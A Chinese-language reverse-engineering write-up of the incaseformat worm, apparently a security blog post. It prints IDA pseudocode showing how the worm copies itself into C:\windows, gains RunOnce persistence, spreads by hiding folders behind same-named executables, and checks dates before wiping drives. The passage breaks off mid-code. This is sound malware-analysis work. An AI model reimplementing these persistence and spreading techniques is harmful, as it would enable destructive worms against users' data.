蠕虫病毒incaseformat分析

2021年1月13日,一种蠕虫病毒突然爆发,该病毒会清除除C盘以外的所有磁盘数据,并留下名为“incaseformat.log”的文件,因此该病毒被命名为Incaseformat病毒。

  • 运行incaseformat病毒
  • incaseformat病毒分析-病毒查壳、病毒程序结构分析
  • incaseformat病毒逆向分析-TForm1_FormCreate、TForm1_Timer1Timer、TForm1_Timer2Timer、TForm1_Timer3Timer、TForm1_Timer4Timer
  • incaseformat病毒在错误时间爆发的原因

1.运行incaseformat病毒

Incaseformat蠕虫病毒样本文件可点这里下载,病毒样本文件如图 1所示。

图1 Incaseformat病毒样本文件

拷贝到win7虚拟机,然后将其后缀修改为.exe并双击来运行病毒文件,记得运行之前给虚拟机拍个镜像。(别直接点啊,放虚拟机里面再点,万一在实机上点了记得千万别关机,重启了你的东西也就被删完了。。。在win10点了咋样没试过,也不想试_(:зゝ∠)_ )

运行病毒文件之后,重启计算机。重启完成后,将虚拟机的日期至2021年1月31号。

图 2 调整日期

日期调整完成后会发现,除了C盘之外,其他磁盘中的文件均被删除,并在根目录下生成了名为incaseformat.log的文件。如图 3所示。

图 3 病毒生成的文件

2.incaseformat病毒分析

2.1 病毒查壳

首先对病毒进行查壳,打开PEiD工具,加载病毒样本文件,工具显示如图 4所示。

图 4 查壳

从工具界面可以看到该病毒程序为Delphi语言开发的32位的应用程序。通过节查看器可以看到标准的delphi的8个区段信息。并且该病毒程序并没有被加壳。

图 5 节查看器

2.2 病毒程序结构分析

对于delphi程序,接下来使用DeDe工具对其进行分析,加载病毒文件并进行处理后,点击“过程”-选中TForm1,可以看到病毒程序由五个部分功能组成,分别为:FormCreate、Timer1Timer、Timer2Timer、Timer3Timer和Timer4Timer。其中FromCreate类似于程序的入口函数(Main),其他四个为定时器函数,如图6所示。

图 6 病毒程序结构

3 incaseformat病毒IDA分析

用IDA加载该病毒,待IDA加载完成后,将窗口“Function name”滑动到最底部位置,既可看到FormCreate、Timer1Timer、Timer2Timer、Timer3Timer和Timer4Timer五个函数,图7所示。

图 7 病毒程序主要函数

3.1 TForm1_FormCreate分析

在_Function name窗口中双击TForm1_FormCreate,并按下F5将该函数逆向出伪代码。伪代码如下:

 int __cdecl TForm1_FormCreate()
{
  int v0; // ecx@2
  const CHAR *v1; // eax@2
  const CHAR *v2; // eax@4
  int v3; // edx@4
  int v4; // ebx@4
  int v5; // ecx@4
  int v6; // eax@5
  const CHAR *v7; // eax@6
  unsigned int v8; // edx@6
  int v9; // ebx@6
  int v10; // ecx@6
  char v11; // zf@6
  int v12; // eax@7
  const CHAR *v13; // eax@9
  HINSTANCE v14; // eax@10
  int result; // eax@11
  unsigned int v16; // [sp-24h] [bp-90h]@1
  int (*v17)(); // [sp-20h] [bp-8Ch]@6
  int v18; // [sp-1Ch] [bp-88h]@6
  unsigned int v19; // [sp-18h] [bp-84h]@1
  int (*v20)(); // [sp-14h] [bp-80h]@1
  int *v21; // [sp-10h] [bp-7Ch]@1
  unsigned __int32 v22; // [sp-Ch] [bp-78h]@1
  int (*v23)(); // [sp-8h] [bp-74h]@1
  int *v24; // [sp-4h] [bp-70h]@1
  int v25; // [sp+Ch] [bp-60h]@9
  int v26; // [sp+10h] [bp-5Ch]@7
  int v27; // [sp+14h] [bp-58h]@7
  int v28; // [sp+18h] [bp-54h]@7
  int v29; // [sp+1Ch] [bp-50h]@6
  int v30; // [sp+20h] [bp-4Ch]@6
  int v31; // [sp+24h] [bp-48h]@6
  int v32; // [sp+28h] [bp-44h]@6
  int v33; // [sp+2Ch] [bp-40h]@4
  int v34; // [sp+30h] [bp-3Ch]@2
  int v35; // [sp+34h] [bp-38h]@2
  int v36; // [sp+38h] [bp-34h]@2
  int v37; // [sp+3Ch] [bp-30h]@2
  int v38; // [sp+40h] [bp-2Ch]@2
  int v39; // [sp+44h] [bp-28h]@2
  int v40; // [sp+48h] [bp-24h]@2
  int v41; // [sp+4Ch] [bp-20h]@2
  int v42; // [sp+50h] [bp-1Ch]@1
  int v43; // [sp+54h] [bp-18h]@1
  int v44; // [sp+58h] [bp-14h]@1
  int v45; // [sp+5Ch] [bp-10h]@1
  int v46; // [sp+60h] [bp-Ch]@1
  int v47; // [sp+64h] [bp-8h]@1
  int v48; // [sp+68h] [bp-4h]@1
  int v49; // [sp+6Ch] [bp+0h]@1

  v24 = &v49;
  v23 = loc_44F324;
  v22 = __readfsdword(0);
  __writefsdword(0, (unsigned int)&v22);
  v21 = &v49;
  v20 = loc_44F302;
  v19 = __readfsdword(0);
  __writefsdword(0, (unsigned int)&v19);
  System::ParamStr(0, &v47);// 获取可执行文件名的绝对路径
  Sysutils::ExtractFilePath(v47, &v48);// 返回文件所在目录的绝对路径,例如C:/test/test.exe,那么返回v48:C:/test/
  System::ParamStr(0, &v44);
  Sysutils::ExtractFileName(v44, &v45);// 返回带扩展名的文件名,例如C:/test/test.exe,那么返回v45:test.exe。
  v16 = sub_404258(v45) - 4;
  System::ParamStr(0, &v42);
  Sysutils::ExtractFileName(v42, &v43);// 返回带扩展名的文件名,v43:test.exe,
  System::__linkproc___LStrCopy(&v46);
  System::__linkproc___LStrCat(&v48, v46);// 返回文件的完整路径,v48:C:/test/,
  if ( (unsigned __int8)Sysutils::DirectoryExists(v48) )// 如果目录存在
  {
    System::ParamStr(0, &v39);
    Sysutils::ExtractFilePath(v39, &v40);// v40:C:/test/
    System::ParamStr(0, &v36);
    Sysutils::ExtractFileName(v36, &v37);// v37:test.exe
    sub_404258(v37);
    System::ParamStr(0, &v34);
    Sysutils::ExtractFileName(v34, &v35);// v35:test.exe
    System::__linkproc___LStrCopy(&v38);
    System::__linkproc___LStrCatN(&v41, 3, v0, v38, &str___16[1]);//'\'
    v1 = (const CHAR *)System::__linkproc___LStrToPChar(v41);
    ShellExecuteA(NULL, NULL, v1, NULL, NULL, 1); // 运行自己
  }

  if ( !(unsigned __int8)Sysutils::FileExists(&str_C__windows_tsay[1]) )// 如果不存在C:\windows\tsay.exe
  {
    System::ParamStr(0, &v33);// 自身绝对路径
    v2 = (const CHAR *)System::__linkproc___LStrToPChar(v33);// 转换类型
    CopyFileA(v2, "C:\\windows\\tsay.exe", -1);// 将自身复制到C:\\windows\\tsay.exe
    LOBYTE(v3) = 1;
    v4 = Registry::TRegistry::TRegistry(off_425998, v3);
    Registry::TRegistry::SetRootKey(v4, -2147483646);
    LOBYTE(v5) = 1;
    Registry::TRegistry::OpenKey(v4, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", v5);// TRegistry对象来操作注册表SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce,
    Registry::TRegistry::WriteString(v4, &str_msfsa[1], &str_C__windows_tsay[1]);// msfsa,设置注册表属性值为C:\windows\tsay.ex,用于病毒文件开机自启动
    Registry::TRegistry::CloseKey(v4);// 关闭注册表
    v6 = System::TObject::Free(v4);
    System::__linkproc___Halt0(v6);
  }
  v18 = (int)&v49;
  v17 = loc_44F1A6;
  v16 = __readfsdword(0);
  __writefsdword(0, (unsigned int)&v16);
  System::ParamStr(0, &v32);// 获取自身的绝对路径
  v7 = (const CHAR *)System::__linkproc___LStrToPChar(v32);// 类型转换
  CopyFileA(v7, "C:\\windows\\tsay.exe", 0);//将自身复制到C:\\windows\\tsay.exe
  v8 = v16;
  __writefsdword(0, v16);
  v18 = (int)&v49;
  v17 = loc_44F20F;
  v16 = __readfsdword(0);
  __writefsdword(0, (unsigned int)&v16);
  LOBYTE(v8) = 1;
  v9 = Registry::TRegistry::TRegistry(off_425998, v8);
  Registry::TRegistry::SetRootKey(v9, -2147483646);
  LOBYTE(v10) = 1;
  Registry::TRegistry::OpenKey(v9, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", v10);// 设置注册表开机自启
  Registry::TRegistry::WriteString(v9, &str_msfsa[1], &str_C__windows_tsay[1]);
  Registry::TRegistry::CloseKey(v9);
  System::TObject::Free(v9);
  __writefsdword(0, v16);
  System::ParamStr(0, &v30);// 获取自身的绝对路径
  Sysutils::UpperCase(v30, &v31); // 将小写转换为大写
  v18 = v31;
  Sysutils::UpperCase(&str_C__windows_tsay[1], &v29);// 将C:\windows\tsay.exe 先写转换为大写
  System::__linkproc___LStrCmp(v18, v29); // 如果当前运行的程序是C:\windows\tsay.exe
  if ( v11 )
  {
    v18 = (int)&v49;
    v17 = loc_44F2C5;
    v16 = __readfsdword(0);
    __writefsdword(0, (unsigned int)&v16);
    System::ParamStr(0, &v25);// 获取自身的绝对路径
    v13 = (const CHAR *)System::__linkproc___LStrToPChar(v25);
    CopyFileA(v13, "C:\\windows\\ttry.exe", 0);//将C:\windows\tsay.exe复制到C:\\windows\\ttry.exe
    __writefsdword(0, v16);
    v14 = ShellExecuteA(NULL, NULL, "C:\\windows\\ttry.exe", NULL, NULL, 0);//运行C:\\windows\\ttry.exe
    System::__linkproc___Halt0(v14);
  }
  System::ParamStr(0, &v27);
  Sysutils::UpperCase(v27, &v28);
  v18 = v28;
  Sysutils::UpperCase(&str_C__windows_ttry[1], &v26);
  v12 = System::__linkproc___LStrCmp(v18, v26);// 如果当前运行的程序是C:\windows\ttry.exe
  if ( !v11 )
    System::__linkproc___Halt0(v12);
  result = 0;
  __writefsdword(0, v19);
  return result;
}

对上述代码进行分析。

  • 62、63行代码
System::ParamStr(0, &v47); 
Sysutils::ExtractFilePath(v47, &v48);

ParamStr用于获取控制台的命令行参数,当参数为0时,则获取的是当前应用程序的绝对路径,因此第62行代码用于获取当前可执行文件的绝对路径。

ExtractFilePath用于返回文件所在目录的绝对路径。

举例说明,若当前病毒文件的绝对路径为“C:/test/test.exe”,那么通过第62行代码v47的值为“C:/test/test.exe”,通过63行代码v48的值为“C:/test/”。

  • 71行代码 if语句
  if ( (unsigned __int8)Sysutils::DirectoryExists(v48) )
  {
    System::ParamStr(0, &v39);
    Sysutils::ExtractFilePath(v39, &v40);
    System::ParamStr(0, &v36);
    Sysutils::ExtractFileName(v36, &v37);
    sub_404258(v37);
    System::ParamStr(0, &v34);
    Sysutils::ExtractFileName(v34, &v35);
    System::__linkproc___LStrCopy(&v38);
    System::__linkproc___LStrCatN(&v41, 3, v0, v38, &str___16[1]);
    v1 = (const CHAR *)System::__linkproc___LStrToPChar(v41);
ShellExecuteA(NULL, NULL, v1, NULL, NULL, 1);
}

if语句通过DirectoryExists判断病毒文件存放的目录是否存在。如果存在,则通过82行的ShellExecuteA函数来运行自己。

  • 86行if语句
  if ( !(unsigned __int8)Sysutils::FileExists(&str_C__windows_tsay[1]) )
  {
    System::ParamStr(0, &v33);
    v2 = (const CHAR *)System::__linkproc___LStrToPChar(v33);
    CopyFileA(v2, "C:\\windows\\tsay.exe", -1);
    LOBYTE(v3) = 1;
    v4 = Registry::TRegistry::TRegistry(off_425998, v3);
    Registry::TRegistry::SetRootKey(v4, -2147483646);
    LOBYTE(v5) = 1;
    Registry::TRegistry::OpenKey(v4, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", v5);
    Registry::TRegistry::WriteString(v4, &str_msfsa[1], &str_C__windows_tsay[1]);
    Registry::TRegistry::CloseKey(v4);
    v6 = System::TObject::Free(v4);
    System::__linkproc___Halt0(v6);
  }

if语句中使用FileExists判断&str_C__windows_tsay[1]文件是否存在,在IDA中双击&str_C__windows_tsay[1]即可看到对应的字符串,如图 8所示。即if语句实际上是在判断C:\windows\tsay.exe文件是否存在。

图 8 查看变量值

当C:\windows\tsay.exe文件不存在时进入if语句。进入if语句后,88行代码获取自身(病毒文件)的绝对路径,89行代码转换路径类型,90行代码通过CopuFileA函数将自身(病毒文件)复制到C:\windows\tsay.exe。从此处分析可以知道,当病毒文件第一次运行时,会将自身复制到C:\windows\tsay.exe。 余下的部分主要用于操作注册表,95行代码指定操作注册表“SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce”,96行代码创建名为&str_msfsa[1]值&str_C__windows_tsay[1]的项。通过IDA可查看到&str_msfsa[1]的值为“msfsa”,&str_C__windows_tsay[1]的值为“C:\windows\tsay.exe”。从此处分析可知,当病毒文件第一次运行时,会在注册表的“SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce”下创建名为“msfsa”值为“C:\windows\tsay.exe”的新项,用于开机时自动启动程序“C:\windows\tsay.exe”。在已中毒的计算机中手动查看注册表,和分析结果一致,如图9所示。

图 9 病毒文件操作注册表实现“C:\windows\tsay.exe”开机自启
  • 123行~128行
System::ParamStr(0, &v30);
Sysutils::UpperCase(v30, &v31);
v18 = v31;
Sysutils::UpperCase(&str_C__windows_tsay[1], &v29);
System::__linkproc___LStrCmp(v18, v29);
if ( v11 )

第123行代码获取自身(病毒文件)的绝对路径,第124行代码将绝对路径转换为大写,第126行代码将字符串“C:\windows\tsay.exe”转换为大写,第127行代码使用LStrCmp函数对比字符串“C:\windows\tsay.exe”与自身(病毒文件)的绝对路径。即如果当前运行的程序是C:\windows\tsay.exe则进入if语句。

  • 128行if语句
  if ( v11 )
  {
    v18 = (int)&v49;
    v17 = loc_44F2C5;
    v16 = __readfsdword(0);
    __writefsdword(0, (unsigned int)&v16);
    System::ParamStr(0, &v25);
    v13 = (const CHAR *)System::__linkproc___LStrToPChar(v25);
    CopyFileA(v13, "C:\\windows\\ttry.exe", 0);
    __writefsdword(0, v16);
    v14 = ShellExecuteA(NULL, NULL, "C:\\windows\\ttry.exe", NULL, NULL, 0);
    System::__linkproc___Halt0(v14);
  }

进入if语句后,134行代码获取程序自身的绝对路径,即C:\windows\tsay.exe;136行使用CopyFileA函数将程序自身复制到C:\\windows\\ttry.exe;第138行代码运行C:\\windows\\ttry.exe程序。即C:\windows\tsay.exe程序运行时,会将自身复制到C:\\windows\\ttry.exe,并运行C:\\windows\\ttry.exe。在已中毒的电脑上查看C:\\windows\\目录下文件,如图 10所示,可以看到tsay和ttry病毒程序。

图 10 病毒程序生成的程序

至此,FormCrete函数分析完毕,总结分析结果如下:

  • 病毒程序运行时,会将自身拷贝到C:\windows\tsay.exe
  • 操作注册表,将C:\windows\tsay.exe设置为开机自启
  • C:\windows\tsay.exe程序启动后会将自身拷贝到C:\\windows\\ttry.exe,并运行C:\\windows\\ttry.exe

3.2 TForm1_Timer1Timer分析

在Function name窗口中双击_TForm1_Timer1Timer,并按下F5将该函数逆向出伪代码。伪代码如下:

int __fastcall TForm1_Timer1Timer(int a1)
{
  int v1; // edx@1
  int v2; // edx@1
  int v3; // ebx@1
  signed int v4; // esi@2
  unsigned int v5; // edx@4
  unsigned __int32 v7; // [sp-18h] [bp-30h]@1
  int (*v8)(); // [sp-14h] [bp-2Ch]@1
  int *v9; // [sp-10h] [bp-28h]@1
  unsigned __int32 v10; // [sp-Ch] [bp-24h]@1
  unsigned int v11; // [sp-8h] [bp-20h]@1
  int *v12; // [sp-4h] [bp-1Ch]@1
  int (*v13)(); // [sp+0h] [bp-18h]@4
  int v14; // [sp+Ch] [bp-Ch]@1
  int v15; // [sp+10h] [bp-8h]@1
  int v16; // [sp+14h] [bp-4h]@1
  int v17; // [sp+18h] [bp+0h]@1

  v14 = 0;
  v16 = a1;
  v12 = &v17;
  v11 = (unsigned int)loc_44EC60;
  v10 = __readfsdword(0);
  __writefsdword(0, (unsigned int)&v10);
  unknown_libname_422(*(_DWORD *)(a1 + 760), 0);
  LOBYTE(v1) = 1;
  unknown_libname_422(*(_DWORD *)(v16 + 768), v1);
  v9 = &v17;
  v8 = loc_44EC43;
  v7 = __readfsdword(0);
  __writefsdword(0, (unsigned int)&v7);
  LOBYTE(v2) = 1;
  v15 = unknown_libname_41(off_411BC4, v2);
  sub_44E5C8(&v15); // 分析函数(1.1)sub_44E5C8。遍历磁盘返货磁盘信息
  v3 = (*(int (__stdcall **)(unsigned __int32, int (*)(), int *, unsigned __int32))(*(_DWORD *)v15 + 20))(
         v7,
         v8,
         v9,
         v10)
     - 1;
  if ( v3 > 0 ) // 遍历所有磁盘信息
  {
    v4 = 1;
    do
    {
      (*(void (__fastcall **)(int, signed int, int *))(*(_DWORD *)v15 + 12))(v15, v4, &v14);
      sub_44EAB4(v14); //分析函数(1.2)sub_44EAB4。查找当前磁盘所有文件信息
      ++v4;
      --v3;
    }
    while ( v3 );
  }
  v5 = v11;
  __writefsdword(0, v11);
  v13 = loc_44EC4A;
  LOBYTE(v5) = 1;
  unknown_libname_422(*(_DWORD *)(v16 + 760), v5);
  return System::TObject::Free(v15);
}
  • TForm1_Timer1Timer第35行的sub_44E5C8函数

当前模块首先调用了sub_44E5C8函数,双击该函数查看其逆向代码,如下:

int __usercall sub_44E5C8<eax>(int a1<eax>, int a2<ebx>)
{
  UINT v2; // esi@3
  int v3; // ecx@4
  int v4; // ecx@6
  unsigned int v6; // [sp-Ch] [bp-2Ch]@1
  int (*v7)(); // [sp-8h] [bp-28h]@1
  int (*v8)(); // [sp-4h] [bp-24h]@1
  int v9; // [sp+8h] [bp-18h]@1
  char v10; // [sp+Ch] [bp-14h]@4
  char v11; // [sp+10h] [bp-10h]@4
  char v12; // [sp+11h] [bp-Fh]@4
  int v13; // [sp+14h] [bp-Ch]@1
  const CHAR RootPathName; // [sp+19h] [bp-7h]@3
  char v15; // [sp+1Ah] [bp-6h]@3
  char v16; // [sp+1Bh] [bp-5h]@3
  int v17; // [sp+1Ch] [bp-4h]@1
  int v18; // [sp+20h] [bp+0h]@1

  v9 = 0;
  v13 = 0;
  v17 = a1;
  v8 = (int (*)())&v18;
  v7 = loc_44E6BC;
  v6 = __readfsdword(0);
  __writefsdword(0, (unsigned int)&v6);
  LOBYTE(a2) = 67; // ACSII码67对应的C
  do // 循环
  {
    if ( (unsigned __int8)sub_44E54C(a2) ) // 分析(1.1.1)sub_44E54C函数,a为磁盘标识符,如“C”。判断磁盘是否存在
    {
      RootPathName = a2;
      v15 = 58;
      v16 = 0;
      v2 = GetDriveTypeA(&RootPathName);// 获取磁盘类型
      if ( v2 == 2 )// 磁盘类型为DRIVE_REMOVABLE(移动设备,如U盘
      {
        v12 = a2;
        v11 = 1;
        System::__linkproc___PStrCpy(&v10, &v11);
        LOBYTE(v3) = 2;
        System::__linkproc___PStrNCat(&v10, &dword_44E6CC, v3);
        unknown_libname_66(&v13, &v10);
        (*(void (__fastcall **)(_DWORD, int))(**(_DWORD **)v17 + 56))(*(_DWORD *)v17, v13);
      }
      if ( v2 == 3 )// 磁盘类型为DRIVE_FIXED(本地硬盘
      {
        v12 = a2;
        v11 = 1;
        System::__linkproc___PStrCpy(&v10, &v11);
        LOBYTE(v4) = 2;
        System::__linkproc___PStrNCat(&v10, &dword_44E6CC, v4);
        unknown_libname_66(&v9, &v10);
        (*(void (__fastcall **)(_DWORD, int))(**(_DWORD **)v17 + 56))(*(_DWORD *)v17, v9);
      }
    }
    ++a2;
  }
  while ( (_BYTE)a2 != 91 ); // 遍历C到Z所有磁盘
  __writefsdword(0, v6);
  v8 = loc_44E6C3;
  System::__linkproc___LStrClr(&v9);
  return System::__linkproc___LStrClr(&v13);
}

第27行给a2赋值67,67的ASCII码对应大写字母“C”。第28行紧接一个do while循环,第59行为do while循环的条件a2!=91,90的ASCII码对应大写字母“Z”。因此可以猜测该do while循环用于遍历磁盘。

  • sub_44E5C8函数中第30行的sub_44E54C函数

进入do while循环中,30行的if语句中调用了sub_44E54C函数,该函数的入参为a2,即大写字母“C”到“Z”。双击该函数其逆向伪代码如下:

char __fastcall sub_44E54C(int a1)
{
  int v1; // ebx@1
  int v2; // eax@5
  char result; // al@4
  unsigned int v4; // [sp-Ch] [bp-14h]@5
  int (*v5)(); // [sp-8h] [bp-10h]@5
  int (*v6)(); // [sp-4h] [bp-Ch]@5
  unsigned __int16 v7; // [sp+4h] [bp-4h]@5
  char v8; // [sp+7h] [bp-1h]@6
  int v9; // [sp+8h] [bp+0h]@5

  v1 = a1;
  if ( (unsigned __int8)(a1 - 97) < 0x1Au ) // if(a1 - 'a') < 26。即判断如果a1为小写字母
    LOBYTE(v1) = a1 - 32;//则转换成大写
  if ( (unsigned __int8)(v1 - 65) < 0x1Au )// 如果字符为大写A到Z
   {
    v7 = SetErrorMode(1u);
    v6 = (int (*)())&v9;
    v5 = loc_44E5BA;
    v4 = __readfsdword(0);
    __writefsdword(0, (unsigned int)&v4);
    v2 = v1;
    LOBYTE(v2) = v1 - 64;
    v8 = Sysutils::DiskSize(v2) != -1; // DiskSize判断磁盘
    __writefsdword(0, v4);
    v6 = loc_44E5C1;
    result = SetErrorMode(v7);
  }
  else
  {
    result = 0;
  }
  return result;
}
}

sub_44E54C函数第16行if语句中,将入参a1与97的差值与26(0x1A)进行比较,91的ASCII码对应小写字母为“a”,通过分析可以得到当入参为小写字母a到z时,那么if语句的条件成立,则第17行代码会将a1的值减去32从而得到a1对应的大写字母v1。

sub_44E54C函数第18行if语句中,将大写字母v1与65的差值与26进行比较,65的ASCII码对应大写字母为“A”,通过分析可以得到当入参为大写字母A到Z时,那么if语句的条件成立。

if语句中主要通过37行的DiskSize函数判断当前指定的磁盘是否存在。

即sub_44E54C函数主要用于判断指定磁盘是否存在。

  • sub_44E5C8函数第30行if语句

do while循环中的if语句首先通过sub_44E54C函数判断当前磁盘是否存在,如果存在则进入if语句中。

35行通过GetDriveTypeA函数获取当前循环磁盘的类型v2。

36行、46行通过if语句判断v2的类型,当v2的值为2时表示当前磁盘类型为移动设备,当v2的值为3时表示当前磁盘类型为本地硬盘。这两个if语句中都将添加磁盘相关信息到列表中。

即sub_44E5C8函数主要获取并返回磁盘相关信息。

  • TForm1_Timer1Timer第45行~52行do while循环与sub_44EAB4函数

该循环用于遍历磁盘信息列表,其中调用了sub_44EAB4函数,双击该函数查看其逆向伪代码如下:

int __fastcall sub_44EAB4(int a1)
{
  int v1; // edx@1
  unsigned __int32 v3; // [sp-18h] [bp-2Ch]@1
  int (*v4)(); // [sp-14h] [bp-28h]@1
  int *v5; // [sp-10h] [bp-24h]@1
  unsigned __int32 v6; // [sp-Ch] [bp-20h]@1
  int (*v7)(); // [sp-8h] [bp-1Ch]@1
  int *v8; // [sp-4h] [bp-18h]@1
  int v9; // [sp+0h] [bp-14h]@1
  unsigned int v10; // [sp+4h] [bp-10h]@1
  int v11; // [sp+8h] [bp-Ch]@1
  int v12; // [sp+Ch] [bp-8h]@1
  int v13; // [sp+10h] [bp-4h]@1
  int v14; // [sp+14h] [bp+0h]@1

  v11 = 0;
  v10 = 0;
  v13 = a1;
  System::__linkproc___LStrAddRef(0);
  v8 = &v14;
  v7 = loc_44EB75;
  v6 = __readfsdword(0);
  __writefsdword(0, (unsigned int)&v6);
  v5 = &v14;
  v4 = loc_44EB4B;
  v3 = __readfsdword(0);
  __writefsdword(0, (unsigned int)&v3);
  LOBYTE(v1) = 1;
  v12 = unknown_libname_41(off_411BC4, v1);
  System::__linkproc___LStrCat3(&v10, v13, &str___14[1]);// 磁盘标示符+'\'
  sub_44E6D0(v10, &v11);// 分析函数(1.2.1)sub_44E6D0。查找所有文件信息
  (*(void (__fastcall **)(int, int, _DWORD, int *, int (*)(), unsigned __int32, int *, int (*)(), unsigned __int32))(*(_DWORD *)v12 + 44))(
    v12,
    v11,
    *(_DWORD *)v12,
    v8,
    v7,
    v6,
    v5,
    v4,
    v3);
  System::__linkproc___LStrCat3(&v9, v13, &str___14[1]);
  Iddatetimestamp::TIdDateTimeStamp::SetDateFromISO8601(v12, v9);
  __writefsdword(0, v10);
  return System::TObject::Free(loc_44EB52);
}

sub_44EAB4函数32行调用了sub_44E6D0函数,双击该函数,其主要代码如下:

System::__linkproc___LStrCat3(&v13, v19, &str____[1]);
Sysutils::FindFirst(v13, 63, &FatTime);
if ( (v15 & 0x10) > 0 )
{
  System::__linkproc___LStrCmp(v16, &str___1[1]);
  if ( !v3 )
    (*(void (__fastcall **)(int, int))(*(_DWORD *)v17 + 56))(v17, v16);
}
while ( !Sysutils::FindNext(&FatTime) )
{
  if ( (v15 & 0x10) > 0 )
  {
    System::__linkproc___LStrCmp(v16, &str___[1]);
    if ( !v3 )
      (*(void (__fastcall **)(int, int))(*(_DWORD *)v17 + 56))(v17, v16);
  }
}
Sysutils::FindClose(&FatTime);
System::__linkproc___LStrCat3(&v12, v19, &str____[1]);
Sysutils::FindFirst(v12, 7, &FatTime);
while ( !Sysutils::FindNext(&FatTime) )
  ;
Sysutils::FindClose(&FatTime);

sub_44E6D0函数中主要调用FindFirst和FindNext查找文件。其中FindFirst第二个参数的值为63对应16进制为3F,通过查找资料可知当该参数的值为3F时表示查找所有文件,如下。

faAnyFile = $0000003F;  //任意文件

即sub_44E6D0的上层函数sub_44EAB4的主要作用为返回任意文件的相关信息。即TForm1_Timer1Timer第45行~52行do while循环调用sub_44EAB4循环获取磁盘信息列表中的所有文件的信息。

sub_44EAB4函数44行调用了SetDateFromISO8601函数,双击该函数,其主要代码如下:

if ( v3 >= 0 )
{
  v24 = v3 + 1;
  v4 = 0;
  do
  {
    (*(void (__fastcall **)(int, int, int *))(*(_DWORD *)v2 + 12))(v2, v4, &v23);
    System::__linkproc___LStrCmp(v23, &str_vod_cache_data[1]);
    if ( !v5 )
    {
      (*(void (__fastcall **)(int, int, int *))(*(_DWORD *)v2 + 12))(v2, v4, &v22);
      System::__linkproc___LStrCmp(v22, &str_System_Volume_I[1]);
      if ( !v5 )
      {
        (*(void (__fastcall **)(_DWORD, _DWORD, int *))(*(_DWORD *)v2 + 12))(v2, v4, &v21);
        System::__linkproc___LStrCmp(v21, &str__RECYCLE_BIN[1]);
        if ( !v5 )
        {
          (*(void (__fastcall **)(_DWORD, _DWORD, int *))(*(_DWORD *)v2 + 12))(v2, v4, &v20);
          System::__linkproc___LStrCmp(v20, &str_RECYCLER[1]);
          if ( !v5 )
          {
            (*(void (__fastcall **)(_DWORD, _DWORD, int *))(*(_DWORD *)v2 + 12))(v2, v4, &v18);
            System::__linkproc___LStrCat3(&v19, bFailIfExists, v18);
            Sysutils::FileSetAttr(v19, 6);
            v12 = -1;
            v11 = bFailIfExists;
            (*(void (__fastcall **)(_DWORD, _DWORD, int *))(*(_DWORD *)v2 + 12))(v2, v4, &v16);
            System::__linkproc___LStrCatN(&v17, 3, v6, v16, &str__exe[1]);
            v11 = System::__linkproc___LStrToPChar(v17);
            System::ParamStr(0, &v15);
            v7 = (const CHAR *)System::__linkproc___LStrToPChar(v15);
            CopyFileA(v7, (LPCSTR)v11, v12);
          }
        }
      }
    }
    ++v4;
    --v24;
  }
  while ( v24 );
}

该函数通过do while遍历文件,并通过if语句过滤了一些指定的系统文件夹,如vod_cache_data、System Volume Information、$RECYCLE.BIN和RECYCLER。当不是指定的系统文件夹时,则通过FileSetAttr设置文件属性,通过查找资料可知6的二进制对应0110,则对应的文件属性为“系统文件”和“隐藏”。最后嗲用CopyFileA函数将自身复制到文件夹同目录,并与文件夹同名来伪装文件夹。

  //faReadOnly  1   只读文件
  //faHidden    2   隐藏文件
  //faSysFile   4   系统文件
  //faVolumeID  8   卷标文件
  //faDirectory 16  目录文件
  //faArchive   32  归档文件
  //faSymLink   64  链接文件
  //faAnyFile   63  任意文件

至此对Timer1Timer定时器进行总结,该定时器主要作用如下:

  • 获取所有磁盘信息
  • 通过磁盘信息查找所有类型的文件
  • 自身拷贝至其他目录,并伪装成文件夹

通过此处分析可知,该病毒可能的传播方式为通过被感染的U盘或共享文件夹进行传播。

3.3 TForm1_Timer2Timer分析

在Function name窗口中双击_TForm1_Timer2Timer,并按下F5将该函数逆向出伪代码。伪代码如下:

int __fastcall TForm1_Timer2Timer(int a1)
{
  int v1; // edx@1
  int v2; // ebx@9
  signed int v3; // esi@10
  unsigned int v4; // edx@12
  unsigned int v6; // [sp-18h] [bp-44h]@1
  int (*v7)(); // [sp-14h] [bp-40h]@1
  int (*v8)(); // [sp-10h] [bp-3Ch]@1
  unsigned int v9; // [sp-Ch] [bp-38h]@1
  int (*v10)(); // [sp-8h] [bp-34h]@1
  int (*v11)(); // [sp-4h] [bp-30h]@1
  int v12; // [sp+Ch] [bp-20h]@1
  int v13; // [sp+10h] [bp-1Ch]@1
  __int16 v14; // [sp+16h] [bp-16h]@5
  unsigned __int16 v15; // [sp+18h] [bp-14h]@3
  unsigned __int16 v16; // [sp+1Ah] [bp-12h]@1
  double v17; // [sp+1Ch] [bp-10h]@1
  int v18; // [sp+28h] [bp-4h]@1
  int v19; // [sp+2Ch] [bp+0h]@1

  v12 = 0;
  v18 = a1;
  v11 = (int (*)())&v19;
  v10 = loc_44EFA1;
  v9 = __readfsdword(0);
  __writefsdword(0, (unsigned int)&v9);
  unknown_libname_422(*(_DWORD *)(a1 + 764), 0);
  v8 = (int (*)())&v19;
  v7 = loc_44EF84;
  v6 = __readfsdword(0);
  __writefsdword(0, (unsigned int)&v6);
  LOBYTE(v1) = 1;
  v13 = unknown_libname_41(off_411BC4, v1);
  v17 = Sysutils::Now();//获取系统当前时间
  sub_44E5C8(&v13);//(1.1)函数用于获取磁盘信息
  Sysutils::DecodeDate(v17);//拆分时间
  if ( v16 <= 0x7D9u )//if ( v16 <= 2009 ),v16年份如果小于等2009
  {
    System::__linkproc___TryFinallyExit(v6, v7, v8);
LABEL_13:
    __writefsdword(0, v9);
    v11 = loc_44EFA8;
    return System::__linkproc___LStrClr(&v12);
  }
  if ( v15 <= 3u )// if ( v15 <= 3 ),v15月份如果小于等于3
  {
    System::__linkproc___TryFinallyExit(v6, v7, v8);
    goto LABEL_13;
  }
  if ( v14 == 1 || v14 == 10 || v14 == 21 || v14 == 29 )// 如果v14日期等于1、10、21、29
  {
    v2 = (*(int (**)(void))(*(_DWORD *)v13 + 20))() - 1;
    if ( v2 > 0 )
    {
      v3 = 1;
      do//循环所有磁盘信息
      {
        (*(void (__fastcall **)(int, signed int, int *))(*(_DWORD *)v13 + 12))(v13, v3, &v12);
